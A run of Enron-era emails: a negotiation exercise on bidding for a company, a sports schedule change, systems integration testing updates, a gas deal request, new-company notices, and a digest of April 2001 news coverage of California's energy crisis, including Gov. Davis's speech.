company under current management will be worth nothing--$0/share.  But if
the project succeeds, the value of the company under current management
could be as high as $100/share.  All share values between $0 and $100 are
considered equally likely.  By all estimates, the company will be worth
considerably more in the hands of Company A than under current management.
In fact, whatever the ultimate value under current management, the company
will be worth fifty percent more under the management of A than under
Company T.  If the project fails, the company is worth $0/share under
either
management.  If the exploration project generates a $50/share value under
current management, the value under Company A is $75/share.  Similarly, a
$100/share value under Company T implies a $150/share value under Company
A,
and so on.

     The board of directors of Company A has asked you to determine the
price
they should offer for Company T's shares.  This offer must be made now,
before the outcome of the drilling project is known.  From all indications,
Company T would be happy to be acquired by Company A, provided it is at a
profitable price.  Moreover, Company T wishes to avoid, at all cost, the
potential of a takeover bid by any other firm.  You expect Company T to
delay a decision on your bid until the results of the project are in, then
accept or reject your offer before the news of the drilling results reaches
the press.

     Thus, you (Company A) will not know the results of the exploration
project
when submitting your price offer, but Company T will know the results when
deciding whether or not to accept your offer.  In addition, Company T will
accept any offer by Company A that is greater than the (per share) value of
the company under current management.  Thus, if you offer $50/share, for
instance, Company T will accept if the value of the company to Company T is
anything less than $50.

     As the representative of Company A, you are deliberating over price
offers
in the range of $0/share (this is tantamount to making no offer at all) to
$150/share.  What price offer per share would you tender for Company T's
stock?

     $______ per/share

---------------------- Forwarded by Scott Neal/HOU/ECT on 10/20/2000 08:31 AM 

<butch@watsonmoving.com> on 10/19/2000 03:01:16 PM
To: <DBennyDad@aol.com>, <DBennyDad@aol.com>, <BBURGE@FLASH.NET>, 
<KbutchW@aol.com>, <jdaghorn@aol.com>, <digiman28@aol.com>, 
<Catho928@aol.com>, <Mrreemus@aol.com>, <murphyg@mercersales.com>, 
<EGwydir@aol.com>, <robin99tim@yahoo.com>, <kingb@nuevoenergy.com>, 
<peggy01@ev1.net>, <kay_mitchell@hotmail.com>, <sneal@enron.com>, 
<tdpatton00@yahoo.com>, <aharrison@aglife.com>, <rkgbh@aol.com>
cc:  
Subject: Make Up Game Schedule Change

Wildcats:

The Lions could only field a team of 9 players for the game Saturday and
we
have been asked to change the game time to:

Sunday, October 22 at  4:30pm

Unless there is an overwhelming negative response to the change, I will
advise
the league in the Friday morning that we will agree to the schedule
change.

So, if you are opposed to the time change please call me before 8am
Friday, at:
281.541.1878.

Thank you.

Everyone - updates from testing last week, and communication of information=
/ going forward.
=20
Thanks to all involved in last weeks testing.  Much has been accomplished. =
 We did encounter a legal mandated 'test freeze' on Friday given a legal co=
mmunication came down to halt all data entry/ code changes, but as of Frida=
y evening, it was eventually lifted.  Any unfinished testing can continue.
=20
We've completed:
- Integration testing of 25 transaction type scenarios - from EOL entry, Si=
tara, TDS, Tagg.  This includes the sample testing of scripts, and the end =
to end testing to SAP.
- EOL has sent 13 gas and 4 financial transactions through downstream syste=
ms.
- Over 50 integration issues identified and resolved!  Majority were data s=
etup issues, but code changes were identified, incorrect hardware being use=
d, reports not running, start-up scripting issues resolved, replication iss=
ues resolved.
=20
What's remaining to test and status:
1) EDI testing - Tammy Jaquet, Robert Virnau are expected to complete the E=
DI test by end of day today (01/28)
2) Financial Settlements/ EOL deals - Mechelle Stevens is completing her ve=
rification of EOL deals into Unify.  Testing is expected to complete the ED=
I test by end of day today (01/28).
3) SAP testing - SAP is still in requirements analysis with regards to GL a=
ccount setup, profit centers.  A meeting is scheduled for Wednesday afterno=
on with the UBS, SAP, Netco leads.  SAP testing can be conducted between Un=
ify and within SAP once decisions are determined.
=20
Any other issues we are not aware of, please advise.
=20
Outstanding known issues:
1) Unify custom reports (SQR) not working.  This was not part of integratio=
n test, but testing by Kelley Huntley on Friday resulted in failure.  Infra=
structure expected to resolve by Monday noon.
2) There is some data setup that is being completed Monday morning and shou=
ld be complete by now.
=20
=20
Going forward:
1) The Netco EOL (or new OLT?) team will be testing all week deals into Net=
co environments.  You may see these in downstream systems.
2) Analysis of what estate data still resides in Netco, and what needs to b=
e there to go forward.  Namely curve data for EnPower.
3) We will perform regression testing to determine if there are any cross d=
ependency of hardware.  Testing scenarios include:
    a) Application messaging that use Tibco (port, multi-cast addresses)
    b) Estate execution with Netco hardware inactive
    c) Netco execution with Estate hardware inactive
=20
Notice/ FYI - All Netco (UBS) employee's LAN NT user-id's will be changed t=
o a new file server (anticipated Friday 02/01). =20
The impacts are mainly the O:\ drive, W:\ drive will be split between Estat=
e and Netco.  All authorized (legal) data is being copied now to the new fi=
le servers.
For example, if Netco employees need specific files on the O:\ drive, if th=
ey are missing, they would have remained with estate.  If you have files in=
 progress, they
may missing the batch file copy which is occurring this week.
=20
Updates to follow later this week!
=20
=20
Regan Smith=20
Energy Operations Systems=20
Enron Net Works=20
713-853-9291 (wk); 281-850-7551 (cell)=20
=20
=20
From: Smith, Regan M.=20
Sent: Wednesday, January 23, 2002 8:42 PM
To: Allen, Thresa A.; Anderson, Bridgette; Anderson, Diane; Aucoin, Evelyn;=
 Baker, Natalie; Baxter, Bryce; Bentley, Corry; Bowen, Bob; Brackett, Debbi=
e R.; Campos, Anthony; Campos, Sylvia A.; Dahlke, Andrea; Dawes, Cheryl; De=
nny, Jennifer; Denton, Rhonda L.; Dupuy, Mark; Elledge, Susan; Engel, Tom; =
Evans, Casey; Garcia, Clarissa; Gillis, Brian; Hare, Bill D.; Hayden, Frank=
; Heal, Kevin; Hunter, Larry Joe; Huntley, Kelley; Jaquet, Tammy; Kenne, Da=
wn C.; Lozano, Melba; Mcginnis, Stephanie; McLaughlin Jr., Errol; Meredith,=
 Kevin; Murphy, Melissa; Price, Wade R.; Reeves, Kathy; Robinson, Rhonda; R=
odriguez, Bernice; Schield, Elaine; Schrab, Mark L.; Seib, Dianne; Severson=
, Russ; Spears, Christopher; Stevens, Mechelle; Sullivan, Patti; Sweitzer, =
Tara; Theriot, Kim S.; Vander velde, Nikole; Wallumrod, Ellen; Winfree, O'N=
eal D.; Wynne, Rita; Bharathi, Jaikishore; Brewer, Charles; Chitradurga, Su=
ndar; Cinelli, Steve; Elwood, Richard; Fortney, Bill; Franks, Shawn; Greig,=
 Iain; Henry, Jane Hilburn; Hunter, Wade; Johnson, Jeff; Lim, Francis S.; M=
artinez, Bob; McKeel, Richard; Nolte, Ron; Pena, Matt; Poston, David; Powel=
l, John D.; Ramesh, Ganapathy; Rao, Ramesh; Saleem, Aftab; Sanvido, Terry; =
Schmidt, Mark; Schomer, Chris; Smith, Regan M.; Stock, Steve; Clark, Cynthi=
a; Boudreaux, Lori
Subject: Status report of integration testing from Wednesday, Jan. 23rd ; a=
nd Thursday's continuation..

=20
Status report of integration testing from Wednesday, Jan. 23rd=20
    - (16 gas/ power types of transactions to test)
=20
Overall, there were no infrastructure or major application issues.  Unlike =
the prior testing, we've included many more gas transaction types and testi=
ng with all non-essential Netco data removed (aka baseline for Netco go-liv=
e).=20
=20
In today's test, we had numerous data setup related issues  that resulted i=
n downtime (ie EOL- Dynegy information, TGP address information, bad credit=
 counterparty/ contracts,  or database issues with data sync/ replication).=
   These were mainly attributed to the massive cleanup/ removal of data not=
 needed.  The  remaining issues open are being addressed Wednesday night. =
=20
=20
Given the deferred 12:00pm to 2:00pm start time and data setup/ sync issues=
, we were unable to complete downstream processes (mainly Settlements, conf=
irmations, SAP).=20
=20
Continuation of testing into Thursday
We are requesting the testers with tasks remaining to complete the script e=
xecution Thursday (morning shift and afternoon shifts given UBS offsite mee=
tings).
We will try to balance the testing activities given some will be out in the=
 morning, and some in the afternoon.  The bridgeline will be active from 9 =
- 5 for communication/ status.
=20
=20
RECAP of where testing left off for Netco and EOL entry.=20
=20
---> NETCO Deal types (with Netco external gas/power (good & bad credit)
Financial    All financial testing completed!
=20
Power
Wednesday      =20
    - Completed tasks:  Deal Entry, settlement statement group setup, notif=
ication, EnPower deal load.  Awaiting settlements drafting issue.
Thursday (remaining & status)
    (1)  DCAF testing ready
    (2) Kelley Huntley to draft invoices after draft issue resolved.
=20
Gas
Wednesday
    - Completed tasks:  Deal Entry in TDS, TAGG/ ERMS, Sitara.  Port Calc
=20
Thursday
    - (Chris Spears) - Transport - The TGP payment methods are now setup.
    - (Clarissa Hanks)  - Transport usage ticket for generic contract is se=
tup (Deal 20000082)
    - ( Wade Price) - To draft invoices after confirmation of activity upst=
ream (pm)
    - DCAF testing after confirmation of activity upstream=20
    - Need to conduct the EDI test (Tammy Jaquet/ Robert Virnau)
=20
---> EOL Deals (Dawn Kenne has confirmed 4 EOL deals were setup.  2 Gas, 2 =
Power)=20
=20
Thursday's plans are to confirm the flow of these deals into  Sitara, Tagg/=
 EnPower. Followed by eventual confirmations, settlement through Unify and =
SAP.  These are ready now for validation by Sitara/ Tagg/ EnPower.
=20
Thanks to your continued involvement ...
=20
=20

I created # 529824 for Nov and Dec.

D

	From:  Thu T Nguyen                           12/12/2000 02:58 PM
	
cc:  
Subject: Meter 8741/1587 Nov 00

Daren,

I need a deal set up for Nov 00.  Per Gary Hanks, gas is taken from South 
Texas and put into Midtex Pipeline at Dewville and taken out at Sheridan - 
HPL mtr 8741/Midtex mtr 1587.  Let me know if you need further information.  
Thanks

Thu

Grimes Development, LLC

This limited liability company was formed in Delaware on May 2, 2001.  Particulars are:

	Parent Company:	Enron North America Corp. - 100%

	Business:	To acquire land for and/or develop a coal fired generation facility.

	Directors and Officers:	See Attachment

	Employees:	No

	Foreign Qualifications:	None

	Company No.:	1605-GRDL

Please circulate this information to all interested parties in your group.

For more information, see attached Corporate Data Sheet.  

Merchant Energy Ventures II, LLC

	Business:	To facilitate the transfer of electric power generation.

	Company No.:	1606-MEV2

Montague Development, LLC

	Company No.:	1606-MTGD

For more information, see attached Corporate Data Sheet. 

	Kathleen Carnahan - copy of evidence being sent by interoffice mail
	Monica Butler - please apply for FEIN
	Sylvia Hu - Minute Book and two seals have been ordered

Corporate Services
EB4804A
Phone 713/853-3577

Sac Bee, Fri, 4/6:  "Energy supply setback: Big generator can't be forced
 to sell emergency power to the state, a U.S. court rules"

Sac Bee, Fri, 4/6:  "In TV address, Davis embraces rate increase"

Sac Bee, Fri, 4/6:  Governor's speech transcript

Sac Bee, Fri, 4/6:  "Dan Walters: Davis finally acknowledges 'crisis,' back=
s=20
a rate increase"

San Diego Union, Thurs, 4/5:  "Davis endorses rate hikes, defends handling =
of=20
energy crisis"

San Diego Union, Thurs,4/5: "San Diego utility overspent $98 million,=20
consumer group says "

LA Times, Fri, 4/6:  "Davis Acknowledges Need for Rate Hike"

LA Times, Fri, 4/6:  "Putting the Heat on 2-Fridge Households"

SF Chron, Fri, 4/6:  "Davis Proposes Tiered Plan To Boost Rates=20
Governor wants slightly lower increases than PUC adopted "

SF Chron, Fri, 4/6:  "Legislature Pounds Out Conservation Package=20
Davis expected to sign $1.1 billion measures"

SF Chron, Fri, 4/6:  "At least 3.6 million families face possible power=20
cutoffs"

Mercury News, Fri, 4/6:  "Davis reveals plan, including rate hikes"

Mercury News, Thurs, 4/5:  "Davis gives up fight against rate hikes"

Mercury News, Thurs, 4/5:  "Western states share shortage of electricity"

Mercury News, Fri, 4/6:  "Getting real on rates"                 (Editorial=
)

Orange County, Fri, 4/6:  "Davis: Rate hikes a must"

Orange County, Fri, 4/6:  "Davis' power-crisis plan brings questions from=
=20
Wall Street"

Orange County, Fri, 4/6:  "Davis pulls energy switch"

Individual.com, Fri, 4/6:  "[B] PG&E defaults on Los Alamos Energy power=20
payment"

Energy Insight, Fri, 4/6:  "Energy-related firms fare well on Fortune 500=
=20
list"          (Enron mentioned)
---
----------------------------------------------------------

Energy supply setback: Big generator can't be forced to sell emergency powe=
r=20
to the state, a U.S. court rules.
By Denny Walsh and Carrie Peyton
BEE STAFF WRITERS
(Published April 6, 2001)=20
In a development that does not bode well for California's energy supply, a=
=20
federal appellate court Thursday halted enforcement of a lower court order=
=20
that a big electricity generator must sell emergency power to the state=20
without guarantee of payment.=20
State energy officials said the ruling wouldn't have any immediate effect b=
ut=20
could precipitate a power emergency if the generator decided to take a plan=
t=20
off-line for maintenance.=20
On March 21, citing "rolling blackouts (that have) darkened the California=
=20
landscape," U.S. District Judge Frank C. Damrell Jr. imposed an injunction=
=20
against Reliant Energy Services Inc., one of the nation's major generators.=
=20
Houston-based Reliant controls approximately 3,800 megawatts, or about 20=
=20
percent, of the gas-fired generation capacity in the state, and Damrell fou=
nd=20
that loss of that production "poses an imminent threat."=20
But Thursday, a three-judge panel of the 9th U.S. Circuit Court of Appeals=
=20
granted an emergency stay of the injunction, saying Reliant has shown "a hi=
gh=20
likelihood of success on the merits" of its appeal.=20
While not spelling it out, the panel apparently bases its finding on the=20
question of the courts' jurisdiction over the energy market. The panel=20
directed that a hearing on the appeal be scheduled for the second week in=
=20
July.=20
The decision leaves California's electric grid more fragile, at least=20
temporarily, according to the state Independent System Operator, which=20
maintains and controls power transmissions.=20
It gives the agency no immediate recourse if Reliant chooses to shut down a=
ny=20
of its plants for maintenance, said ISO Vice President Jim Detmers.=20
"It's not going to change anything overnight, and it's not going to change=
=20
anything over the weekend," said Detmers. "But if Reliant decided on a=20
unilateral action to take their units off for maintenance ... we definitely=
=20
could have a system emergency."=20
Reliant officials, when told of the ruling, took a conciliatory tone but=20
declined to specify their next move.=20
"Reliant ... has pledged to keep the lights on in California," said company=
=20
lobbyist Marty Wilson, and "is still of a mind to want to cooperate."=20
Without further comment, the appeals court judges cited a 1980 U.S. Distric=
t=20
Court decision. In that case, 14 cities sued Florida Power and Light Co.,=
=20
alleging that it was violating a number of laws in its sales of power and=
=20
production of electricity.=20
The judge found, however, that the Federal Power Act reserves oversight of=
=20
interstate utilities exclusively to the Federal Energy Regulatory Commissio=
n.=20
He ruled that only the commission may bring an action involving energy sale=
s=20
into federal court -- unless it is a request to review a commission order,=
=20
and that goes directly to an appellate court.=20
The lawsuit before Damrell was brought by the ISO to force Reliant and two=
=20
other generators to respond to ISO's emergency orders for power, even thoug=
h=20
the agency is buying on behalf of two retailers that are broke and hopeless=
ly=20
in debt.=20
Because Pacific Gas and Electric Co. and Southern California Edison can't p=
ay=20
their bills -- about $14 billion -- some wholesalers want to cut off sales =
to=20
the utilities.=20
The other three defendants in the ISO's suit -- Dynegy Power Corp. of Houst=
on=20
and Tulsa-based AES Corp. and its marketer, Williams Energy Marketing &=20
Trading Co. -- have entered into written agreements with ISO to continue=20
supplying emergency power until the FERC decides whether they are required =
to=20
sell to companies that are not creditworthy.=20
But Charles Robinson, ISO general counsel, points out that the generators c=
an=20
rescind those agreements with 48 hours' notice.=20
"My hope is this is a temporary setback," said Robinson. He added, however,=
=20
that the practical effect is "at least for now, we don't have a tool to=20
compel them to do what we believe they're obligated to do" -- respond to=20
emergency demands for power.=20
Reliant has insisted since the suit was filed Feb. 6 that Damrell has no=20
jurisdiction over the rate schedules that govern dealings between generator=
s=20
and the ISO, and that the Federal Power Act mandates that the FERC must=20
settle any disputes about terms of those tariffs.=20
In issuing the injunction, Damrell acknowledged that the FERC has special=
=20
expertise concerning agreements between generators and ISO.=20
"Absent the extreme exigencies of the California power crisis, the court=20
agrees that a stay pending further action by the FERC would be proper," he=
=20
said. "But those are not the facts here. Electricity is in critically short=
=20
supply. The health and safety of the people of California are potentially a=
t=20
risk."=20
Immediately upon receiving the 9th Circuit's order Thursday, attorneys for=
=20
the ISO asked Damrell to set an accelerated schedule for its motion to amen=
d=20
the suit. The agency apparently has crafted a new complaint stressing its=
=20
view that the matter is an ordinary contract dispute over which the judge h=
as=20
jurisdiction.=20
Damrell scheduled a hearing on the motion for Thursday.=20
In a further development that could complicate the state's dire need for=20
energy, an alternative supplier won a court fight Thursday to bypass the bi=
g=20
utilities and sell its power on the open market.=20
Timber giant Sierra Pacific Industries, which operates four biomass plants=
=20
that produce power for PG&E, obtained a temporary restraining order in=20
Sacramento Superior Court that says Sierra Pacific is not required to sell=
=20
its power to PG&E.=20
The ruling means PG&E and Southern Edison could lose power as alternative=
=20
energy generators, fed up with months of nonpayment, sue to be able to sell=
=20
their comparatively cheap product elsewhere, including outside the state.=
=20

The Bee's Denny Walsh can be reached at (916) 321-1189 or dwalsh@sacbee.com=
.=20
Bee staff writer Dale Kasler contributed to this report.=20
---
In TV address, Davis embraces rate increase
By Dan Smith
BEE DEPUTY CAPITOL BUREAU CHIEF
Seeking to ease Californians' energy fears, Gov. Gray Davis on Thursday=20
proposed a tiered electricity rate increase that would hit the heaviest pow=
er=20
users the hardest.=20
The Democratic governor, whose popularity has been plummeting, told a=20
statewide television audience in a five-minute speech from his Capitol=20
office: "It's become increasingly clear ... that some rate increases now ar=
e=20
necessary to keep our lights on and our economy strong."=20
The address came as California enters its fifth month of acute power woes=
=20
that have resulted in periodic electricity blackouts.=20
In embracing a rate increase as part of the solution to California's energy=
=20
nightmare, Davis joined a long list of financial and energy experts --=20
including members of his own staff -- who for months have said a rate=20
increase is imperative.=20
The state Public Utilities Commission last week approved a $4.8 billion a=
=20
year, average 30 percent rate increase for customers of cash-strapped Pacif=
ic=20
Gas and Electric Co., Southern California Edison and San Diego Gas &=20
Electric.=20
But Davis said his plan, which he will ask the PUC to approve instead, is=
=20
better. Administration officials said the governor's plan goes easier on=20
commercial users and conservation-minded residential users, but preserves t=
he=20
largest rate increases for heavy residential users. Sacramento Municipal=20
Utility District customers would be unaffected by Davis' proposal.=20
The 55 percent of PG&E residential customers who use less than 130 percent =
of=20
the "baseline" amount of power, for instance, would see no increase. Medium=
=20
users -- those using between 130 percent and 200 percent of the baseline=20
amount -- would see an average bill of $70 rise to $77. But heavy users wou=
ld=20
see their bills go from $138 a month to $189.=20
"Here's the point," Davis said. "The more you use, the more you pay. The mo=
re=20
you conserve, the more you save. Conservation is our best short-term weapon=
=20
against blackouts and price gouging."=20
The rate increase would come on top of an average 9 percent residential rat=
e=20
increase imposed in January. Davis advisers said the proposed increase woul=
d=20
eliminate the need for an additional 10 percent increase scheduled to take=
=20
effect next year.=20
Davis said his plan would raise enough money to "restore the utilities to=
=20
financial stability" if the companies agree to sell their transmission line=
s=20
to the state, drop their lawsuits against the state and promise to sell che=
ap=20
power for 10 years. The administration has been negotiating to buy the powe=
r=20
transmission lines for weeks, and has made little progress with PG&E.=20
Even though the governor's rate proposal would raise about 15 percent less=
=20
revenue than the PUC plan, administration officials insisted it would provi=
de=20
the utility companies enough money to cover future power purchases and redu=
ce=20
their debts over time. They said they discovered that the state can buy pow=
er=20
more cheaply than the PUC thought it could and presumed greater savings=20
through conservation.=20
Davis' plan relies heavily on floating billions of dollars in bonds,=20
essentially stretching the impact of a rate hike over as many as 15 years.=
=20
Not only would the state borrow about $12 billion to pay for its purchases,=
=20
but the utilities would borrow about $8 billion. They'd repay the $8 billio=
n=20
through a slice of the money generated by the rate increase. The utilities=
=20
also would get a cash infusion of something less than $7 billion from the=
=20
sale of the transmission grid.=20
Harvey Rosenfield of the Foundation for Taxpayer and Consumer Rights said=
=20
Davis' numbers, while apparently offering a "bailout" of utilities' debts=
=20
designed to please Wall Street, simply don't add up.=20
"He's cooking the books to lower the apparent price to the public, and then=
=20
they're going to figure out a way to ram this down our throats after the 20=
02=20
election," he said.=20
Analysts called the plan long overdue and questioned whether it would work.=
=20
"It's definitely a plan from the Wall Street cookbook, but can he get it=20
done? Can he get it done in a believable time frame?" said bond analyst Sha=
wn=20
Burke of Barclays Capital in New York.=20
Davis' speech disappointed nearly all other parties.=20
"Unfortunately, the steps the governor announced tonight still do not appea=
r=20
to offer a comprehensive solution to resolve California's energy crisis,"=
=20
PG&E said in a prepared statement.=20
Davis continued to blame power generators for "ripping us off" and federal=
=20
regulators for failing to stop them, and spent much of his speech detailing=
=20
the steps that he and state lawmakers have taken to confront the crisis thu=
s=20
far.=20
"Those around (the Capitol) have heard the speech," said Senate President P=
ro=20
Tem John Burton, D-San Francisco. "He was talking to 34 million Californian=
s=20
who hadn't."=20
Some gubernatorial advisers had been pushing for the speech for weeks,=20
arguing that Davis needed to explain his actions -- and his intentions -- a=
s=20
the onset of warm weather enhances the prospect of power blackouts.=20
Davis has come under increasing criticism, including from some members of h=
is=20
own party, for failing to stem the crisis. Detractors say Davis has been=20
indecisive -- even inattentive -- in his handling of the crisis, while his=
=20
proposals falter in the Legislature and at negotiating tables with=20
near-bankrupt utilities.=20
Consumer groups, meanwhile, say Davis' failure to more forcefully take on=
=20
power generators has allowed the crisis to fester, and they blame him for t=
he=20
rate increases. As the 2002 re-election campaign looms, some private polls=
=20
now say support for the once-popular Davis is eroding.=20
Davis didn't make believers out of Republicans. Assembly GOP leader Dave Co=
x=20
said the speech was more talk than substance. "Frankly, he didn't offer any=
=20
new solutions to the problems," said Cox, of Fair Oaks. "What we heard=20
tonight was the governor saying, 'Oops, I guess we're going to have to rais=
e=20
rates,' while all along he'd been saying a rate increase wasn't necessary.=
=20
And, frankly, it wasn't necessary if we'd gotten started back in September.=
"=20
Also on Thursday, the Legislature sent Davis a $1.1 billion conservation an=
d=20
low-income assistance package aimed at reducing California's risk of rollin=
g=20
blackouts this summer.=20
By passing two bills -- SB 5x by state Sen. Byron Sher, D-Palo Alto, and AB=
=20
29x by Assemblywoman Christine Kehoe, D-San Diego -- lawmakers met their=20
stated goal of sending conservation measures to Davis before heading off on=
 a=20
weeklong spring recess.=20

The Bee's Dan Smith can be reached at (916) 321-5249 or smith@sacbee.com.=
=20
Bee Staff Writers Amy Chance, John Hill, Kevin Yamamura, Dale Kasler and Ji=
m=20
Sanders contributed to this report.=20
---
-------------------------------------------------------------------------
Governor's speech transcript

Here is the text of Gov. Gray Davis' remarks on energy:=20
Good evening. I'm speaking to you tonight from Sacramento on the most=20
difficult issue facing California: our energy crisis.=20
Simply stated, we have two problems: Supply is too low and costs are too=20
high. Both result from the flawed deregulation scheme created back in 1996.=
=20
But no matter how we got into this mess, you hired me to solve problems. An=
d=20
that's what I'm doing.=20
The only long-term solution is to build more power plants. We must also cut=
=20
back on consumption and stabilize the utilities. But prices won't fall and=
=20
supply won't be truly reliable until we generate more power than we consume=
.=20
Yet in the 12 years before I took office, not a single major power plant wa=
s=20
built in California. Not one. Since I became governor, we've licensed 12=20
major power plants. Ten more are in the pipeline. And we're doing this=20
without weakening our commitment to clean air and clean water.=20
Deregulation required the utilities to sell off many of their power plants =
to=20
independent generating companies. The generators are free to charge whateve=
r=20
they want because they're governed only by federal regulators who refuse to=
=20
control wholesale energy prices.=20
This past winter, the prices charged by the generators shot through the roo=
f,=20
driving the utilities to the brink of bankruptcy.=20
In January, with the feds still refusing to do their job, California steppe=
d=20
in to purchase the power the utilities could no longer afford to buy. We=20
didn't take over to save the utilities. We took over to keep the power on a=
nd=20
the economy strong. That's not all:=20
We also negotiated long-term contracts for electricity at vastly lower=20
I used my emergency powers to seize control of low-cost power contracts the=
=20
utilities were about to forfeit to the generators.=20
We began negotiations to buy the utilities' transmission system.=20
We cut red tape and offered cash incentives to speed up construction of pow=
er=20
plants.=20
We're launching an $800 million conservation program.=20
We're moving to establish a public power authority to build more power. If=
=20
the private sector fails to build all the plants California needs, we'll=20
build them ourselves.=20
And because I share your concern that the generators are ripping us off,=20
we're using every legal remedy to root out and punish illegal conduct.=20
We can't fix 12 years of inaction overnight. But we're making real progress=
.=20
Now, as you know, I have fought tooth and nail against raising rates. It's=
=20
become increasingly clear, however, that with rising natural gas prices, th=
e=20
feds' failure to control costs, and the state's lack of supply, that some=
=20
increases now are necessary to keep our lights on and our economy strong.=
=20
But I remain committed to protecting average Californians from massive rate=
=20
hikes. So I'm urging the Public Utilities Commission to adopt a plan that=
=20
will protect average consumers, reward those who conserve and motivate the=
=20
biggest users to cut back.=20
Under my proposal, more than half of you won't pay a penny more. For the=20
rest, the average increase will be 26 and a half percent. But many in that=
=20
group will pay only about a 10 percent rate increase. The heaviest users wi=
ll=20
see their rates rise 34 and a half percent on average. That includes busine=
ss=20
paying their share. This is in addition to the 9 percent surcharge we've al=
l=20
been paying since last winter.=20
But all Californians can reduce their bills through conservation.=20
Here's the point: The more you use, the more you pay. The more you conserve=
,=20
the more you save. Conservation is our best short-term weapon against=20
blackouts and price-gouging. By flexing your power, you'll help secure our=
=20
energy future.=20
Unlike the PUC, my plan includes funds to restore the utilities to financia=
l=20
stability -- if they agree to three main conditions:=20
They must provide low-cost regulated power to the state for 10 years. Agree=
=20
to sell us their transmission system. And dismiss their lawsuits which seek=
=20
to double your electricity rates.=20
My proposal raises rates fairly, assures us of long-term power, stabilizes=
=20
the utilities and promotes conservation.=20
Our emphasis on conservation is critical. In order to make it through the=
=20
summer, we must cut demand by at least 10 percent.=20
Already we've launched programs to cut back commercial lighting, and reduce=
=20
consumption in office buildings, supplies and government facilities.=20
My friends, we do have a power shortage but we are far from powerless. We a=
re=20
34 million strong and if each of us does our part, we can minimize=20
disruptions and get through the summer. We are Californians. We've withstoo=
d=20
earthquakes, floods, fires, and droughts.=20
Yes, this mess is man-made, but with your help and God's blessing, we'll ge=
t=20
through this as well.=20
Thank you and good night.=20
---
--------------------------------------------------
Dan Walters: Davis finally acknowledges 'crisis,' backs a rate increase

Gov. Gray Davis -- under fire from the media and other politicians for his=
=20
passive, incremental handling of the state's deepening energy crisis --=20
unveiled Thursday what he said was a comprehensive scheme to resolve it,=20
including a hefty increase in power rates paid by most consumers.=20
It was a full-court press by Davis and his administration, including a brie=
f=20
statewide television address and a turnout of aides to sell the scheme to t=
he=20
media. Davis -- for the first time -- even used the term "crisis" to descri=
be=20
the situation after weeks of insisting it was merely a "challenge."=20
Clearly, a major motivating factor in the governor's new activism is that h=
is=20
own re-election in 2002 is now in peril if the energy crisis persists and h=
e=20
continues to deal with it reactively. Editorial writers have been describin=
g=20
Davis' reactive approach as cowardly, and private polls have been indicatin=
g=20
that since an unexpected power blackout hit last month, Davis' approval=20
ratings have been plummeting, from well over 60 percent to perhaps half tha=
t=20
level. And certainly Davis' own nonstop polling has told him the same thing=
.=20
While much of Thursday evening's five-minute address was a truncated versio=
n=20
of what Davis has been saying publicly for the past few weeks, most recentl=
y=20
at the state Democratic convention in Anaheim last weekend, the one new=20
element was an endorsement of rate increases after months of insisting that=
=20
the problems could be resolved "within the existing rate structure." Davis=
=20
proposed a rate boost similar in structure, but apparently slightly less,=
=20
than the one tentatively endorsed by the state Public Utilities Commission=
=20
last week. Davis had insisted that the PUC, although controlled by his=20
appointees, had acted on its own, but the widespread skepticism about that=
=20
posture merely added to his image problems.=20
Like the PUC plan, the Davis rate scheme would concentrate the rate increas=
es=20
on heavy residential power users and businesses. "I'm urging the (PUC) to=
=20
adopt a plan that will protect average consumers, reward those who conserve=
=20
and motivate the biggest users to cut back," Davis said, adding that the pl=
an=20
will "restore the utilities to financial stability" if they agree to sell=
=20
their intercity power transmission system to the state, provide low-cost=20
power to the state for 10 years and drop federal lawsuits seeking=20
compensation for their immense debts.=20
It's unclear, however, whether the average 26.5 percent boost in rates to=
=20
customers of the three major privately owned utilities -- about 70 percent =
of=20
Californians -- will do all that the Democratic governor insists it will. H=
e=20
and his aides say it will cover the $5 billion or so that the state's gener=
al=20
fund already has spent on emergency power purchases since January, finance=
=20
future purchases and still provide enough "headroom" to pay off the=20
utilities' $13 billion in debts, part of which would be covered by the=20
transmission grid buyout. But the utilities and their creditors were alread=
y=20
complaining that the PUC's somewhat larger rate boost was too small to cove=
r=20
all the various costs and debts.=20
Davis aides refused to release specific numbers on how each cost factor wou=
ld=20
be covered by the proposed rate boost. The governor's hike would come on to=
p=20
of a 9 percent surcharge on power bills imposed in January and now being ma=
de=20
permanent.=20
Even if it pencils out and is implemented by the PUC, however, the Davis pl=
an=20
would leave Californians with some of the nation's highest utility rates an=
d=20
invite a backlash from consumer activists who have been threatening to=20
sponsor a 2002 ballot measure if there's a "bailout" of utilities. The plan=
=20
would also have to win the approval of Wall Street bankers, who would=20
underwrite and market the billions of dollars in bonds that Davis wants to=
=20
float to pay for past debts and future power costs.=20
Will it be implemented? Will it work? Will it arrest Davis' slide in the=20
polls? No one can say for certain -- and that includes the governor himself=
.=20

om
.=20
---

Davis endorses rate hikes, defends handling of energy crisis=20

By Jennifer Coleman
April 5, 2001=20
SACRAMENTO =01) Gov. Gray Davis told Californians in a live address Thursda=
y=20
night that he now thinks rate increases are needed to resolve the state's=
=20
power crisis.=20
Davis, reacting to record rate hikes of up to 46 percent approved by state=
=20
regulators last week for Pacific Gas and Electric Co. and Southern Californ=
ia=20
Edison power customers, said he wants to make those who use the most=20
electricity bear the bulk of the price hikes.=20
"The more you conserve, the more you save," Davis said. "Conservation is ou=
r=20
best short-term weapon against blackouts and price-gouging."=20

San Diego utility overspent $98 million, consumer group says=20
Text of Gov. Gray Davis' energy speech=20
?=20

Speaking from his Capitol office in a televised five-minute speech, Davis=
=20
lashed out at federal power regulators for failing to help California and=
=20
defended his handling of the state's energy problems.=20
The Democrat told viewers California's short power supply and high wholesal=
e=20
costs are the result of a "flawed deregulation scheme" signed into law in=
=20
1996 by then-Republican Gov. Pete Wilson.=20
"But no matter how we got into this mess, you hired me to solve problems an=
d=20
that's what I'm doing," he said.=20
Davis said he has fought utility rate increases "tooth and nail" but now=20
thinks they are needed to help finance the state's power purchases on behal=
f=20
of Edison, PG&E and a third strapped utility, San Diego Gas & Electric.=20
The power buys have cost taxpayers $4.7 billion since January, money that=
=20
will eventually be recouped from ratepayers.=20
Davis said the utilities were pushed to the brink of bankruptcy by soaring=
=20
wholesale power costs and federal regulators' refusal to cap wholesale=20
"In January, with the feds still refusing to do their job, California stepp=
ed=20
in to purchase the power the utilities could no longer afford to buy," Davi=
s=20
said. "We didn't take over to save the utilities. We took over to keep the=
=20
power on and the economy strong."=20
Davis, who repeatedly has said the state can resolve the power problems=20
without rate hikes, told viewers he now thinks rate increases are necessary=
=20
to finance the power purchases.=20
His new stance comes after the state Public Utilities Commission last week=
=20
approved rate increases of up to 46 percent for customers of Edison and PG&=
E.=20
